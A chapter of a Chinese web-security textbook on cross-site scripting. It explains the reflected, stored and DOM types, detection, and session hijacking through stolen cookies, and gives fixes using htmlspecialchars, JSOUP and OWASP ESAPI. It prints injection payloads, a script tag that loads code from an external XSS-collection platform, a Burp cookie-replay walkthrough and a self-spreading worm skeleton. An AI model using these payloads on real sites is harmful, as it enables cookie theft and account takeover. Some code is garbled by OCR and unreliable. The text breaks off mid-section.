【第七章】XSS 跨站指令碼漏洞
XSS 又叫CSS (Cross Site Scripting),即跨站指令碼攻擊,是最常見的Web應用程式安全漏洞之一,在2013年度Owasp top 10中排名第三。
XSS 是指攻擊者在網頁中嵌入客戶端指令碼,通常是JavaScript 編寫的惡意程式碼,當使用者使用瀏覽器瀏覽被嵌入惡意程式碼的網頁時,惡意程式碼將會在使用者的瀏覽器上執行。
從上述內容可知,XSS 屬於客戶端攻擊,受害者最終是使用者。不要以為受害者是使用者,就認為跟自己的網站、伺服器安全沒有關係。但請注意,千萬不要忘記網站管理人員也屬於使用者之一,這就意味著XSS 可以攻擊“伺服器端”。因為管理員要比普通使用者的許可權大得多,一般管理員都可以對網站進行檔案管理、資料管理等操作,而攻擊者就有可能靠管理員身份作為“跳板”實施攻擊。
7.1 XSS 原理解析
XSS 攻擊是在網頁中嵌入客戶端惡意指令碼程式碼,這些惡意程式碼一般是使用JavaScript 語言編寫的(也有使用ActionScript、 VBScript 等客戶端指令碼語言編寫的,但較為少見)。所以,如果想要深入研究XSS,必須要精通JavaScript。 JavaScript 能做到什麼效果,XSS 的威力就有多大。
JavaScript 可以用來獲取使用者的Cookie、改變網頁內容、URL 調轉,那麼存在XSS 漏洞的網站,就可以盜取使用者Cookie、黑掉頁面、導航到惡意網站,而攻擊者需要做的僅僅是向Web 頁面中注入JavaScript 程式碼。
下面是一段最簡單的XSS 漏洞例項,其程式碼很簡單,在Index.html 頁面中提交資料後,在PrintStr 頁面顯示。
Index.html頁面程式碼如下:
<form action="PrintStr" method="post" >
<input type="text" name="username" /> <input type="submit" value="提交" />
</form>
PrintStr 頁面程式碼如下:
<%
String name = request.getParameter("username");
out.print1n("您輸入的內容是:" + name);
%>
當輸入時,將觸發XSS攻擊,如圖所示。
攻擊者可以在方式來載入外部指令碼,而在x.txt 中就存放著攻擊者的惡意JavaScript 程式碼,這段程式碼可能是用來盜取使用者的Cookie,也可能是監控鍵盤記錄等惡意行為。
注: JavaScript 載入外部的程式碼檔案可以是任意副檔名(無副檔名也可以),如:<scriptsrc=“ttp://www.secbug.or/x.jpg”>,即使檔案為圖片副檔名x.jpg,但只要其檔案中包含,JavaScript程式碼就會被執行。
7.2 XSS 型別
XSS 主要被分為三類,分別是:反射型、儲存型和DOM型。下面將一一介紹每種XSS 型別的特徵。
7.2.1 反射型XSS
反射型XSS 也被稱為非持久型XSS,是現在最容易出現的一種 XSS漏洞。當使用者訪問個帶有XSS 程式碼的URL 請求時,伺服器端接收資料後處理,然後把帶有XSS程式碼的資料發這到瀏覽器,瀏覽器解析這段帶有XSS 程式碼的資料後,最終造成XSS漏洞。這個過程就像一次反射,故稱為反射型XSS。
下面舉例說明反射型XSS跨站漏洞。
<?php
Susername = $_GET['username'];
echo $username;
?>
在這段程式碼中,程式接收usermame 值後再輸出,如果提交xss.php?username=HIM,那麼程式將輸出HIM,如果惡意使用者輸入usemame=,將會造成反射型XSS漏洞。
可能有讀者會說:這似乎並沒有造成什麼危害,不就是彈出一個框嗎?如果你看下面這個例子,可能就不會這麼認為了。
假如http://www.secbug.org/xss.php存在XSS反射跨站漏洞,那麼攻擊者的步驟可能如下。
- ① 使用者HIM 是網站www.secbug.org 的忠實粉絲,此時正泡在論壇看資訊。
- ② 攻擊者發現www.secbug.org/xss.php 存在反射型XSS 漏洞,然後精心構造JavaScript程式碼,此段程式碼可以盜取使用者Cookie 傳送到指定的站點www.xxser.com。
- ③ 攻擊者將帶有反射型XSS 漏洞的URL 通過站內信傳送給使用者HIM,站內信為一些誘惑資訊,目的是為讓使用者HIM 單擊連結。
- ④ 假設使用者HIM 單擊了帶有XSS 漏洞的URL,那麼將會把自己的Cookie 傳送到網站www.xxser.com。
- ⑤ 攻擊者接收到使用者HIM 的會話Cookie, 可以直接利用Cookie 以HIM 的身份登入www.secbug.org,從而獲取使用者HIM 的敏感資訊。
以上步驟,通過使用反射型XSS 漏洞可以以HIM 的身份登入網站,這就是其危害。
7.2.2 儲存型 XSS
儲存型XSS 又被稱為永續性XSS,儲存型XSS 是最危險的一種跨站指令碼。
允許使用者儲存資料的Web 應用程式都可能會出現儲存型XSS漏洞,當攻擊者提交一段 XSS 程式碼後,被伺服器端接收並儲存,當攻擊者再次訪問某個頁面時,這段XSS 程式碼被程式讀出來響應給瀏覽器,造成XSS 跨站攻擊,這就是儲存型XSS。
儲存型XSS 與反射型XSS、DOM型XSS相比,具有更高的隱蔽性,危害性也更大。它們之間最大的區別在於反射型XSS 與DOM 型XSS 執行都必須依靠使用者手動去觸發,而儲存型XSS 卻不需要。
下面是一個比較常見的儲存型XSS 場景示例。
在測試是否存在XSS 時,首先要確定輸入點與輸出點,例如,我們要在留言內容上測試xSS 漏洞,首先就要去尋找留言內容輸出(顯示)的地方是在標籤內還是在標籤屬性內,或者在其他地方,如果輸出的資料在屬性內,那麼XSS 程式碼是不會被執行的。如:
<input type="text" name= "content" value="<script>alert(1)</script>"/>
以上JavaScript程式碼雖然成功地插入到了HTML 中,但卻無法執行,因為XSS程式碼出現在Value 屬性中,被當作值來處理,最終瀏覽器解析HTML 時,將會把資料以文字的形式輸出在網頁中。
在知道了輸出點後,就可以根據相應的標籤構造HTML 程式碼來閉合,插入XSS 程式碼為“"/>"”,最終在HTML文件中為:
<input type="text" name="content" value=""/ ><script>alert(1)</script>"/>
這樣就可以閉合input 標籤,使輸出的內容不在Value 屬性中,從而造成XSS 跨站漏洞。
知道了最基本的XSS測試技巧後,下面來看看具體的儲存型XSS 漏洞,測試步驟如下。
- ① 新增正常的留言,暱稱為“Xxser”,留言內容為"HelloWorld",使用Firebug 快速尋找顯示標籤,發現標籤為:
<li><strong>Xxser</strong><span class="message">HelloWor1d</span><span class="time">2013-05-26 20:18:13</span></1i>
- ② 如果顯示區域不在HTML 屬性內,則可以直接使用XSS 程式碼注入。如果說不能得知內容輸出的具體位置,則可以使用模糊測試方案,XSS 程式碼如下。
<script>alert(document.cookie)</script>:普通注入;
" /><script>alert(document.cookie)</script>:閉合標籤注入;
</textarea>"><script>alert(document.cookie)</script>:閉合標籤注入。
- ③ 在插入盜取Cookie的JavaScript程式碼後,重新載入留言頁面,XSS程式碼被瀏覽器執行。
攻擊者將帶有XSS 程式碼的留言提交到資料庫,當使用者檢視這段留言時,瀏覽器會把XSS 程式碼認為是正常的JavaScript 程式碼來執行。所以,儲存型XSS 具有更高的隱蔽性。
7.2.3 DOM XSS
DOM 的全稱為Document Object Model,即文件物件模型,DOM 通常用於代表在HTML、XHTML 和XML 中的物件。使用DOM 可以允許程式和指令碼動態地訪問和更新文件的內容、結構和樣式。
通過JavaScript 可以重構整個HTML 頁面,而要重構頁面或者頁面中的某個物件,JavaScript 就需要知道HTML 文件中所有元素的“位置”。而DOM 為文件提供了結構化表示,並定義瞭如何通過指令碼來訪問文件結構。根據DOM 規定,HTML文件中的每個成分都是一個節點。
DOM 的規定如下。
- 整個文件是一個文件節點;
- 每個HTML標籤是一個元素節點;
- 包含在HTML元素中的文字是文字節點;
- 每一個HTML屬性是一個屬性節點;
- 節點與節點之間都有等級關係;
HTML 的標籤都是一個個節點,而這些節點組成了DOM的整體結構:節點樹,如圖所示。
簡單瞭解了DOM 後,再來看DOM 型的XSS 就比較簡單了。
可以發現,DOM 本身就代表文件的意思,而基於DOM 型的XSS 是不需要與伺服器端互動的,它只發生在客戶端處理資料階段。
下面是一段經典的DOM 型XSS 示例。
<script>
var temp = document.URL ; //獲取URL
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par)); //輸入獲取內容
</script>
上述程式碼的意思是獲取URL 中content 引數的值,並且輸出,如果輸入htp://www.secbug.org/dom.html?content=,就會產生XSS漏洞。
7.3 檢測 XSS
檢測XSS 一般分為兩種方式,一種是手工檢測,另一種是軟體自動檢測,各有利弊。使用手工檢測時,檢測結果精準,但對於一個較大的Web 應用程式而言,手工檢測顯然是一件非常困難的事情。而使用軟體全自動檢測時,雖然方便,卻存在誤報,或是有些隱蔽的XSS 無法檢測出。
7.3.1 手工檢測XSS
使用手工檢測Web 應用程式是否存在XSS 漏洞時,最重要的是考慮哪裡有輸入、輸入的資料在什麼地方輸出。
使用手工檢測XSS 時,一定要選擇有特殊意義的字元,這樣可以快速測試是否存在XSS。
比如,測試某輸入框是否存在XSS 漏洞時,不要直接輸入XSS 跨站語句測試,應一步一步地進行,這樣更有利於測試。
1.可得知輸出位置
輸入一些敏感字元,例如“<、>、"、’、()”等,在提交請求後檢視HTML原始碼,看這些輸入的字元是否被轉義。
在輸出這些敏感字元時,很有可能程式已經做了過濾,這樣在尋找這些字元時就不太容易,這時可以輸入“AAAAA<>""&”字串,然後在查詢原始碼的時候直接查詢AAAAA或許比較方便。
2.無法得知輸出位置
非常多的Web 應用程式原始碼是不對外公開的,這時在測試XSS 時就有可能無法得知輸入資料到底在何處顯示,比如,測試某留言本是否存在XSS,那麼在留言之後,可能需要經過管理員的稽核才能顯示,這時無法得知輸入的資料在後臺管理頁面處於何種狀態,
例如:
在<div>標籤中: <div>XSS Test </div>
在<input>標籤中: <input type="text" name= "content" value= "XSS Test" />
對於這種情況,通常會採用輸入“"/>XSS Test”來測試。
7.3.2 全自動檢測XSS
像之前使用過的APPSCAN、AWVS、Burp Suite 等軟體,都可以有效地檢測XSS跨站漏洞,但這類大型漏掃工具除檢測XSS外,還會檢測SQL注射、檔案包含、應用程式錯誤等漏洞。
雖然這類大型漏掃可以配置只檢測XSS,但卻不如專業的XSS 檢測工具效率高。
專業的XSS掃描工具有很多,像有名的XSSER、XSSF 都是不錯的選擇。也有安全愛好者製作了掃描XSS漏洞的Web服務,如: htp://www.domxsscanner.com/,專門用來掃描DOM型別的XSS。
一定要工具與手工並進,才能更好地檢測XSS。比如,在掃描XSS時,很多掃描器一般都無法檢測非常規的XSS 漏洞,為什麼?例如,在提交留言時可能需要簡訊驗證、驗證碼填寫等,工具是無法做到的。
7.4 XSS 高階利用
XSS 不僅僅是彈出一個框那麼簡單,在某些情況下,XSS 不弱於SQL 注射。下面列舉幾個常見的危害。
- 盜取使用者Cookie;
- 修改網頁內容;
- 網站掛馬;
- 利用網站重定向;
- XSS蠕蟲。
7.4.1 XSS 會話劫持
1.Cookie 簡介
在介紹HTTP 協議的時候提到過Cookie,但只是做了簡短的說明,並沒有深入,下面將詳細講解Cookie。
Cookie 是能夠讓網站伺服器把少量文字資料儲存到客戶端的硬碟、記憶體,或是從客戶端的硬碟、記憶體讀取資料的一種技術。說起Cookie,大多人都會想到HTTP 協議。沒錯,因為HTTP 協議是無狀態的,Web伺服器無法區分請求是否來源於同一個瀏覽器。所以,Web 伺服器需要額外的資料用於維護會話。Cookie 正是一段隨HTTP 請求、響應一起被傳遞的額外資料,它的主要作用是標識使用者、維持會話。
當你瀏覽某個網站時,該網站可能向你的電腦硬碟寫入一個非常小的文字檔案,它可以記錄你的使用者ID、密碼、停留的時間等資訊,這個檔案就是Cookie 檔案。當你再次來到該網站時,瀏覽器會自動檢測你的硬碟,並將儲存在本地的Cookie 傳送給網站,網站通過讀取Cookie,得知你的相關資訊,就可以做出相應的動作,如:直接登入, 而無須再次輸入賬戶和密碼。
Cookie 按照在客戶端中儲存的位置,可分為記憶體Cookie 和硬碟Cookie。記憶體Cookie 由瀏覽器維護,儲存在記憶體中,瀏覽器關閉後就消失,其存在時間是短暫的。硬碟Cookie 儲存在硬碟裡,有一個過期時間,除非使用者手工清理或到了過期時間,否則硬碟Cookie不會被刪除,其存在時間是長期的。
所以,Cookie 也可分為持久Cookie 和非持久Cookie。
一個使用者的電腦裡可能有多個Cookie 存在,它們分別是不同網站儲存的資訊,但是你不用擔心,一個網站只能取回該網站本身放在電腦的Cookie, 它無法得知電腦上其他的Cookie資訊,也無法取得其他任何資料。Cookie也是有限制的,大多數瀏覽器支援最大為4096B的Cookie,這樣就限制了Cookie的大小最多也只能在4KB 左右。而且瀏覽器也限制站點可以在使用者計算機上儲存Cookie 的數量,大多數瀏覽器只允許每個站點儲存20個Cookie。如果試圖儲存更多的Cookie,則最舊的Cookie 便會被丟棄。有些瀏覽器還會對來自所有站點的Cookie 總數做出絕對限制,通常為300個。
2.Cookie 格式
當Cookie 被儲存在電腦硬碟時,不同的瀏覽器儲存Cookie 的位置也不相同,如: IE 的Cookie 儲存位置在“C:Documents and Settings\使用者名稱\Cookies”資料夾中。每個Cookie 檔案都是一個TXT 檔案,都以“使用者名稱@網站URL"來命名。
下面是一段典型的Cookie:
Cookie:SUID=F2DF1974320C0C0A51B67EB300098FFB;
ad=1111111112SHXf811111VpLKrG11111NxXKDkl1119111l1jCx1w@@@@@@@@@@@;
CXID=BC4A08EF2CC3E9DB259B3543B0354757
Cookie 由變數名(Key) 和值(Value) 組成,其屬性裡既有標準的Cookie 變數,也有使用者自己建立的變數,屬性中的變數用“變數=值”的形式來儲存。
Cookie 格式如下:
Set-Cookie: <name>=<value>[;<Max-Age>=<age>][; expires=<date>][;domain=<domain_name>][; path=<scme_path>][; secure][; Httponly]
其中,各選項的含義如下。
- Set-Cookie:HTTP 響應頭,Web伺服器通過此HTTP 頭向客戶端傳送Cookie;
- name=value:這是每一個Cookie 均必須有的部分。使用者可以通過name 取得Cookie 中存放的值(Value)。 在字串“name=value" 中,不含分號、逗號和空格等字元;
- expires=date:Expires 確定了Cookie 的有效終止日期,該屬性值date 必須以特定的格式來書寫“星期幾,DD-MM-YY HH:MM:SS GMT”,其中,GMT 表示這是格林尼治時間。反之,若不以這樣的格式來書寫,系統將無法識別。該變數可省,如果預設,則Cookie 的屬性值不會儲存在使用者的硬碟中,而僅僅儲存在記憶體中,Cookie 將隨瀏覽器的關閉而自動消失;
- domain=domain-name:Domain 變數確定了哪些Internet 域中的Web 伺服器可讀取瀏覽器儲存的Cookie,即只有來自這個域的頁面才可以使用Cookie 中的資訊。這項設定是可選的,如果預設,值為該Web 伺服器的域名;
- path=path:Path屬性定義了Web 伺服器上哪些路徑下的頁面可獲取伺服器傳送的Cookie。如果Path 屬性的值為“/”,則Web伺服器上所有的WWW 資源均可讀取該Cookie。同樣,該項設定是可選的,如果預設,則Path 的屬性值為Web伺服器傳給瀏覽器的資源路徑名。藉助對domain 和path 兩個變數的設定,即可有效地控制Cookie 檔案被訪問的範圍。
- Secure:在Cookie 中標記該變數,表明只有當瀏覽器和Web Server 之間的通訊協議為加密認證協議時,瀏覽器才向伺服器提交相應的Cookie。當前這種協議只有一種,即為HTTPS;
- HttpOnly:禁止JavaScript讀取。
Cookie 中的內容大多數經過了加密處理,因此一般使用者看來只是一些毫無意義的字母數字組合,只有伺服器的處理程式才知道它們真正的含義。
3.讀寫Cookie
像JavaScript、Java、 PHP、 ASP.NET都擁有讀寫Cookie 的能力。下面以CookieTest 頁面為例,觀察HTTP 響應Set-Cookie頭。
public class CookieTest extends HttpServlet {
public void doGet (HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
this.doPost (request, response);
}
public void doPost (HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
Printwriter out = response.getWriter();
Cookie c[] = request.getCookies() ;
if(c!=nu1l) {
for (int i = 0; i < c.length; i++) {
Cookie cookie = c[i];
out.print ("Welcome "+cookie.getValue()) ;
}
}else{
String username = request.getParameter ("username") ;
if (username !=null&&! "".equals (username)) {
Cookie ck = new Cookie ("Name", username) ;
response.addCookie (ck) ;
}
}
}
}
第一次訪問URL: http://ocalhost:952/s/CookieTest?usernamne=xxser,本地Cookie為空。
再次請求CookieTest 頁面,瀏覽器將會自動帶入HTTP Cookie 頭欄位,並且返回資料“Welcome xxser”。
4.JavaScript 操作Cookie
在開發中使用Cookie 作為身份標識是很普遍的事情,但是從另一個角度來看,如果網站存在XSS跨站漏洞,那麼利用XSS漏洞就有可能盜取使用者的Cookie,使用使用者的身份標識。比較通俗地說,就是不使用使用者的賬號和密碼就能夠登入使用者的賬戶。
登入dedecms 後臺管理之後,重新整理主頁面Index.php,然後使用Burp Suite 攔截請求,請求如下:
GET /dede/ index.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html, application/ xhtml + xml , application/xml;q=0.9, */*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/27.0.1453.94 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: menuitems=1_182C2_182C3_1; PHPSESSID= kr01gim08alie9n26v8k212957;
DedeUserID=l; DedeUserID_ckMd5=574425f785a435e2; DedeLoginTime=1 371032871;
DedeLoginTime_ckMd5= 6bc144032c20bd26
在以上這段HTTP 請求頭中可以看到有Cookie 欄位,這就是Web伺服器向客戶端傳送的Cookie,當攻擊者拿到這段Cookie 後,就可以使用當前使用者的身份登入網站。下面將演示如何使用這段Cookie 在另外一個瀏覽器上登入。
開啟Burp Suite, 選擇“Proxy”→“Options"→“Match and Replace" 命令匹配和替換模組,單擊“Add”按鈕新增Request header。在Match 輸入框內輸入要替換的請求頭,這裡為正規表示式,如果不填寫正規表示式,那麼Burp Suite 只能替換指定的字元。在Replace 輸入框中填寫入要替換的Cookie。
上面步驟中,如果發現有Cookie 請求頭,就替換為更改後的Cookie。 訪問URL:htp://ocalhost/de/index php,使用Burp Suite攔截請求,發現Cookie已經替換為指定的Cookie,並且沒有輸入賬號和密碼,就登入到了後臺管理頁面。
如果感覺用Burp 比較麻煩也可以用Chrome 瀏覽器自帶的Console 來完成。
注:有些開發者使用Cookie時,不會當作身份驗證來使用,比如,儲存一些臨時資訊。這時,即使黑客拿到了Cookie 也是沒有用處的。並不是說只要有Cookie,就可以“會話劫持”。
5.SESSION
除Cookie之外,維持會話狀態還有一種形式是SESSION。SESSION 在計算機中,尤其是在網路應用中,被稱為“會話”。SESSION 機制是一種伺服器端的機制,伺服器使用一種類似於雜湊表的結構來儲存資訊。
Web 中的SESSION 是指使用者在瀏覽某個網站時,從進入網站到瀏覽器關閉所經過的這段時間,也就是一次客戶端與伺服器端的“對話”,被稱為SESSION,當瀏覽器關閉後,SESSION自動登出。
每個使用者的會話狀態都是不同的SESSION,比如,管理員登入網站,那麼這是一個SESSION,普通使用者登入網站又是一個SESSION,每個SESSION 都是不同的。那麼伺服器如何區分這些使用者呢,依靠的就是SESSIONID。
當使用者第一次連線到伺服器時,會自動分配一個SESSIONID,這個SESSIONID 是唯一的且不會重複的“編號”。如果伺服器關閉或者瀏覽器關閉,SESSION 將自動登出,當使用者再次連線時,將會重新分配。
SESSIONID 可以儲存在Cookie 中,相當於臨時Cookie。SESSIONID 也可能以其他方式展現,例如:
http://www.xxsercom/user.action;jsessionid=7DIFF1EBEE355509E01ED94AEA6C9D7
SESSION 與Cookie 最大的區別在於,Cookie 是將資料儲存在客戶端,而SESSSION 則是儲存在伺服器端,僅僅是在客戶端儲存一個ID。相對來說,SESSION 比Cookie 要安全。
在瞭解了基本的SESSION 原理之後,反過來深思,SESSION 是瀏覽器與伺服器之間的一次會話,其中依靠的是SESSIONID 來區分不同的使用者,當瀏覽器關閉後,SESSION 會隨之消失,那麼,如果在瀏覽器與伺服器會話沒有結束之前拿到這個SESSIONID,是否也同樣能會話劫持呢?
7.4.2 XSS Framework
隨著XSS漏洞的興起,一些XSS漏洞利用框架也隨之出現,其中比較優秀的有BeEF、XSS Proxy、Backframe,像國內的XSSER.ME(XSS Platform) 也是比較優秀的XSS漏洞利用框架。這些框架的出現讓安全工作人員測試變得更便利,但對攻擊者來說,也同樣相當於手裡多了一把利劍。
那麼XSS漏洞利用框架到底有什麼作用呢?其實XSS 框架是一組“JavaScript工具集合”,比如,鍵盤輸入記錄、盜取Cookie、表單擊劫持等。使用起來非常簡單,完全不需要編寫程式碼,這就是框架的作用。
目前為止,在國內最優秀的、使用最多的XSS平臺非XSSER.ME莫屬,這是一個非常有思想、讓xss“活”起來的平臺,非常適合國內讀者。
XSSER.ME 其實就是XSS Platform 的域名,XSS Platform 就是一款XSS 漏洞利用程式碼的組合,其中包括最基本的獲取Cookie、獲取HTML程式碼、鍵盤記錄、基礎認證釣魚等功能。平臺地址:https://xss.pt
XSS Platform 在後來已經開源,很多安全研究者也都搭建了自己的XSS Platform。登入XSS Platform後,主介面如圖。
公共模組中是xss Platform 預先提供的三個模組,分別是:基礎認證釣魚模組、XSS.JS 模組和預設模組。下 面將演示如何使用XSS Platform 獲取Cookie。
選擇“我的專案”→“建立”,可進入建立專案嚮導介面,如圖所示。
寫完專案名稱及描述後,單擊“下一步”按鈕配置XSS攻擊程式碼介面,如圖所示。
在選擇攻擊模組時,選擇“預設模組”(該模組是專門用來獲取Cookie 的),接下來XSS Platform 會提供以下兩個選項:
- 無keepsession
- keepsession
keepsession 的意思是保持連線,也就是當獲取到目標網站的Cookie 後,保持這個Cookie。因為目標網站Cookie 可能是有時效的,比如時效為5分鐘,那麼當接收到這個Cookie 後,沒有及時檢視,Cookie 過期失效了,那麼這個Cookie就沒有用處了。
當選擇keepsession 後,XSS Plaform將會一直在後臺重新整理Cookie,也就是保持這個Cookie的有效性,反之,無keepsession 就是不保持連線。
這裡選擇“keepsession",然後單擊“下一步”按鈕,將顯示“xxser.com”的配置資訊和測試程式碼,如圖所示。
在配置資訊中給出了專案程式碼,也就是預設模組的程式碼,一般來說,最常用的是第一種方式, 因為它短小精悍。在任何有可能出現XSS的地方,都可以使用這句話測試,比如,給管理員發站內信、給使用者評論等。
可能剛開始攻擊者並不知道目標網站是否存在XSS 跨站漏洞,比如,留言需要核審,傳送資訊並沒有回應。總之,就是無法“回顯”(得知輸出),那麼攻擊者就可以使用守株待兔的方式來確定網站是否存在XSS跨站漏洞。比如,在任何可以插入資訊的地方插入
<sCRiPt sRC=//xss.pt/yIyf></sCrIpT>
當XSS Platform 收到資訊之後,就可以確定網站確實存在XSS跨站漏洞。
在國內,XSS跨站漏洞利用平臺目前不僅有XSSER.ME,還有一些其他的優秀平臺,比如XSSING。在XSS 平臺的基礎上又擴充了許多實用的小功能,比如,使用者可以繫結郵件,當平臺接收到訊息後,傳送郵件提醒使用者等功能。
7.4.3 XSS 蠕蟲
說到XSS 蠕蟲(XSSWorm),可能大部分讀者會想到蠕蟲病毒,蠕蟲病毒能傳播自身到其他的計算機系統中,對計算機系統的破壞非常大。可以說,蠕蟲病毒就是具有“傳染”性的惡意軟體。
XSS 蠕蟲也不例外,同樣具有“傳染性”,與系統病毒的唯一區別就是無法對系統底層操作,因為XSS蠕蟲一般是基於JavaScript 編寫,而JavaScript 最大的用武之地是Web,但對於底層程式設計能力幾乎為零。所以,一般來說,XSS 蠕蟲是針對瀏覽器的攻擊,且網站規模越大,攻擊效果就越大。在大使用者量的情況下,XSS 蠕蟲完全可以在短時間內達到對巨大數量的“計算機”感染。
XSS 蠕蟲最早出現在2005年10月初的MySpace.com 網站系統(著名網路社群),在僅僅20個小時之內就有超過100萬名使用者被感染,這是世界上的第一條XSS蠕蟲。
XSS 蠕蟲大多數出現在大使用者量的網站平臺,比如微博、貼吧等一些社交網站, 因為只有當使用者量足夠多的情況下,XSS蠕蟲才能發揮效果。下面將模擬XSS蠕蟲攻擊微博聽眾。
攻擊者在展開xss 蠕蟲攻擊之前,首先需要對網站的業務、功能有所瞭解,然後才可以針對性地編寫擁有自主傳播性的XSS 蠕蟲。比如,http://www.xser.com 是微博系統,並且擁有1000萬名使用者量。攻擊者的目的是建立XSS 蠕蟲,這隻“子”的作用就是讓更多的使用者收聽自己。
那麼攻擊者首先需要做的就是分析如何讓他人收聽自己,這一步比較簡單, 假設訪問以下URL,就可以收聽自己的微博:
http://www.xxser.com/Listen.php?userid=888
知道這一點之後,攻擊者需要考慮的下一個問題是如何自主傳播?這一步是最關鍵的,假設發表微博存在儲存型XSS 跨站漏洞,也就意味著,當攻擊者發表一個微博(含有xss漏洞利用程式碼)後,所有看到此微博資訊的使用者都會中招,也就是收聽攻擊者賬戶。那麼這就是一個突破點,但這樣沒有意義,因為一般能看到你發表微博資訊的都已經是你的聽眾了。這就不得不尋找另外一個切入點,這個切入點就是讓使用者轉發此篇微博,這樣才是擁有傳播性的“蟲子”。假設攻擊者發現以下連結可以轉發微博:
http://www.xxser.com/forward.php?userid=7&articleid=86
userid 為使用者ID, articleid 為轉發微博ID,此時難點又來了,articleid是固定的,但是userid 卻不是,每個使用者ID 都是不一樣的,必須想辦法獲取使用者ID 才可以轉發,剛好網站提供瞭如何檢視自己ID 的頁面,訪問以下網址:
http://www.xxser.com/userinfo.php
在這個URL 返回的HTML 程式碼中包含了使用者的ID,在得知這麼多的條件之後,攻擊者就可以發起XSS 蠕蟲攻擊,步驟如下:
- ① 發表一個正常的微博訊息,並且記錄articleid。
- ② 獲取使用者的userid,此處使用AJAX 技術訪問htp://www.xxser.com/userinfo.php頁面,獲取HTML 原始碼,並且將userid拆分出來。
- ③ 構建使用者並轉發微博的URL:
<script>
function GetUserId() {
... //通過AJAX獲取UserId
return UserId ;
}
function GetForWardUrl () {
var UserId = GetUersId() ;
var ForWa rdUrl="http://www.xxser.com/forward.php?userid="+Userid+"&articleid=86";
return ForWardUrl ;
}
</script>
- ④ 編輯微博,插入XSS蠕蟲程式碼,實現XSS蠕蟲攻擊:
<script>
function ListenUser () {
var listenUrl = "http://www.xxser.com/Listen.php?userid=888";
... //通過AJAX或者其他方式訪問此URL收聽HIM
}
function ForWard() {
var forWardUrl = GetForWardUrl () ;//獲取轉發Url
...//通過AJAX或者其他方式訪問此URL轉發微博
}
function attack() {
ForWard() ; //先轉發,再收聽
ListenUser() ;
}
attack() ;//蠕蟲開始
</script>
如果微博限制內容長度,則可以通過匯入外部JS 的方式來縮短內容,比如:
<script src=http://www.xxser.com/1.js></script>
通過上述簡單的幾個步驟就完成了XSS 蠕蟲攻擊,XSS蠕蟲攻擊以金字塔的形式傳播。如果攻擊者寫一個誘惑性比較大的微博,相信傳播的速度會更快。
當然,這僅僅是實驗,相信沒有一個社群會讓攻擊者輕易製造XSS 蠕蟲,但萬變不離其宗,XSS蠕蟲的核心就是擁有自主傳播性質,其危害不再闡述。
7.5 修復XSS跨站漏洞
XSS 跨站漏洞最終形成的原因是對輸入與輸出沒有嚴格過濾,在頁面執行JavaScript 等客戶端指令碼,這就意味著只要將敏感字元過濾,即可修補XSS跨站漏洞。但是這一過程卻是 複雜無比的,很多情況下無法識別哪些是正常字元,哪些是非正常字元。下面將介紹幾種XSS過濾方法供讀者選擇。
7.5.1 輸入與輸出
在HTML中,<、>、"、、&都有比較特殊的意義,因為HTML標籤、屬性就是由這幾個符號組成的。如果直接輸出這幾個特殊字元,極有可能破壞整個HTML文件的結構。所以,一般情況下,XSS 將這些特殊字元轉義。在PHP 中提供了htmlspecialchars()、htmletities0函式可以把一些預定義的字元轉換為HTML實體。
預定義的字元如下
- & (和號)成為&
- " (雙引號)成為"
- ’ (單引號)成為’
- < (小於)成為<
- > (大於)成為>o
當字串經過這類函式處理後,敏感字元將會被一一轉義,例如,PHP程式碼如下:
<?php
@$html = $_GET['xss'];
if ($html) {
echo htmlspecialchars ($html) ;
}
?>
此時在提交
http://www.xxser.com/xss.php?xss=<scrip>alr(xss/)</script>
後,將不再彈出視窗,因為敏感字元已經被轉義。
在Java中也存在非常多的第三方元件支援過濾XSS漏洞,比如,OWASP Esapi、JSOUP、xssprotect等,這裡簡單介紹一下JSOUP。
JSOUP是一款Java 的HTML 解析器,可直接解析URL地址、HTML文字內容。它提供了一套非常高效的API,可通過DOM、CSS以及類似於JQuery的操作方法來取出和操作HTML 資料。
JSOUP 與其他眾多的過濾方式不一樣,JSOUP 採用的是白名單的模式。比如,過濾“<>’”等敏感字元後,有一天突然出現一個新漏洞,那麼你的規則中恰巧沒有,就會出現問題。下面來看看JSOUP 的白名單過濾方式。
使用JSOUP HTML Cleaner 方法可以清除XSS 漏洞,但需要指定一個可配置的Whitelist。
String unsafe = "<p><a href='http://example.com/' onclick='stealCookies()'>Link</a></p>";
String safe = Jsoup.clean(unsafe, Whitelist.basic());
輸出結果為:
<p><a hrettp://xample.com/” rel="nofollow">Link</a></p>
可以發現onclick事件不見了。
JSOUP 的whitelist 清理器能夠在伺服器端對使用者輸入的HTML 進行過濾,只輸出一些安全的標籤和屬性。例如,使用simpleText()方法就只能使用“b、em、i、 strong、u”這幾個有限的標籤。
JSOUP 提供了一系列的Whitelist 基本配置,能夠滿足大多數要求。但如有必要,你也可以自己修改,並對其進行配置。
雖然JSOUP 可以有效地防範XSS,但卻屬於HTML 解析元件,在此建議不妨試試OWASP ESAPI。前面曾經提到過OWASP ESAPI,現在來詳細看看OWASP ESAPI。
OWASP ESAPI 工具包是專門用來防禦安全漏洞的API,如SQL 注入、XSS、CSRF等知名漏洞。目前支援JavaEE、ASP、NET、PHP、Python 等語言,下 面來看看OWASP ESAPI 防禦XSS 是否與JSOUP 類似?
迴歸到xSS的本質,XSS 的本質是在伺服器響應資料時,插入可執行程式碼,這些程式碼分別插在不同的位置上。下 面列出XSS可能發生的場景,然後來看Owasp ESAPI的解決方法。
(1)在標籤內輸出
<div>${xss}</div>
<a href="http://www.xxser.com">${xss}</a>
<h3>${xss}</h3>
<p>${xss}</p>
<ul>${xss}</u1>
......
若在標籤內,輸出資料則無須構造標籤,直接控制${xss}變數就可以造成XSS 漏洞,這是最簡單的一種XSS 跨站,比如:
<div><script>alert(/xss/)</script></div>
(2)在屬性內輸出
<div class="${xss}"></div>
<input type="text" name="username" value="${xss}" />
<a href="$ {xss}">He11o</a>
在屬性內輸出資料的時候,僅僅需要閉合標籤,就可以繼續進入XSS 操作,比如:
<input type="text" name="username" value="" onclick- ="alert(/xss/)" />
<a href="javascript: alert (/xss/)">He11</a> //使用協議
(3)在事件中輸出(與屬性相同)
